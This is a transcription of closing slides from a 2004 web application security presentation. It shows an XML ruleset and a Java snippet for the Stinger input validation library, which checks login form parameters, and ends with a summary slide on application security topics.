Defining Stinger Rules
•
•
<?xml version="1.0"?>
<ruleset>
<name>Login Page Username and Password Rules</name>
<path>/login</path>
<extraHeaderAction>ignore</extraHeaderAction>
<extraCookieAction>ignore</extraCookieAction>
<extraParameterAction>fatal</extraParameterAction>
<rule>
<name>username</name>
<type>parameter</type>
<regex>^[\d]{8}$</regex>
<malformedAction>continue</malformedAction>
<missingAction>fatal</missingAction>
<hidden>true</hidden>
</rule>
<rule>
<name>password</name>
<type>parameter</type>
<regex>^[\w]{4,8}$</regex>
<malformedAction>continue</malformedAction>
<missingAction>fatal</missingAction>
<hidden>true</hidden>
</rule>
</ruleset>
Source: http://aspectsecurity.com/stinger/article.html
v. 2.3
105
Invoking Stinger from your
servlet
• Stinger stinger = Stinger.getInstance
( this.getServletConfig()
);
ErrorList errors = null;
try
{
errors = stinger.validate( request );
}
catch …………
v. 2.3
106
Review of Key Messages
•
•
•
•
•
•
•
Introduction
Problem Statement
Information Security
The Guiding Tenets of Application Security
The Top Ten
Potential Help – Validators
v. 2.3
107
Questions and Answers

Web Application Security E-Commerce Risks and Vulnerabilities April 2004

Transcription

Similar documents

How To Change the IP address On

nutri-turf - Ewing Irrigation

Silego Technology - Globalpress Electronics Summit

MCACA eGrant Instructions

McGuffey`s 3rd Reader - Eclectic Education Series

The Meaning of Icons Orthodox Byzantine Icons

Cybex Trazer

Faubion Middle School ORDER BY

MANU DIBANGO: AFRICA`S HIPPEST HOPPER

Best Aire Integrated Industrial Compressor Control System